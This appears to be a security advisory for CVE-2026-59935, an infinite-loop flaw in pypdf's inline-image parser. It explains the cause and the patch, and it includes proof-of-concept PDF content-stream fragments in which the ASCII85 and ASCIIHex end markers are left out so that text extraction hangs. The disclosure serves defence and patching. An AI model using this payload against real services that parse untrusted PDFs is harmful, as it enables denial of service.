CVE-2026-59935: pypdf Infinite Loop via Unterminated ASCII85/ASCIIHex Inline Image
A crafted PDF with an unterminated inline image using the ASCII85 or ASCIIHex filter causes pypdf to spin in an infinite loop, hanging any process that extracts page text.
The problem
pypdf's content-stream parser reads inline image data by looping until it finds the filter's end-of-data marker. For ASCII85 that marker is ~>, for ASCIIHex it is >.
If a PDF omits the marker, the loop has no reachable exit condition. The process blocks indefinitely on one CPU core, making denial-of-service trivial for any service that calls page.extract_text() on untrusted input.
Proof of concept
A working proof-of-concept for CVE-2026-59935 in pypdf, with the exact payload below.
% Minimal PDF content stream fragment (embed inside a valid PDF page /Contents stream)
% ASCII85 variant: missing the required ~> end-of-data marker
BI
/W 1
/H 1
/CS /G
/BPC 8
/F /A85
ID
Garbled~data~without~end~marker
EI
% ASCIIHex variant: missing the required > end-of-data marker
BI
/W 1
/H 1
/CS /G
/BPC 8
/F /AHx
ID
4142434445
EIThe decoder loop in ContentStream._readInlineImage consumed bytes searching for the filter's end-of-data sentinel (~> for ASCII85, > for ASCIIHex) without ever testing whether the underlying stream was exhausted. Omitting the sentinel means the condition is never true and the loop never exits (CWE-835).
The patch (PR #3892, commit 5a33a46) adds an explicit end-of-stream guard inside each filter's read loop, raising a PdfStreamError instead of looping forever when no more bytes are available. The payload above is derived directly from this fix: it supplies a valid inline image header and filter name but deliberately drops the terminating marker that the pre-patch loop required.
The fix
Upgrade pypdf to 6.14.2 or later. If an immediate upgrade is not possible, apply the changes from PR #3892 manually to pypdf/filters.py (or the equivalent inline-image reading code path). No configuration workaround exists; the only safe mitigation is the code change.
Reported by stefan6419846 (Stefan).
Related research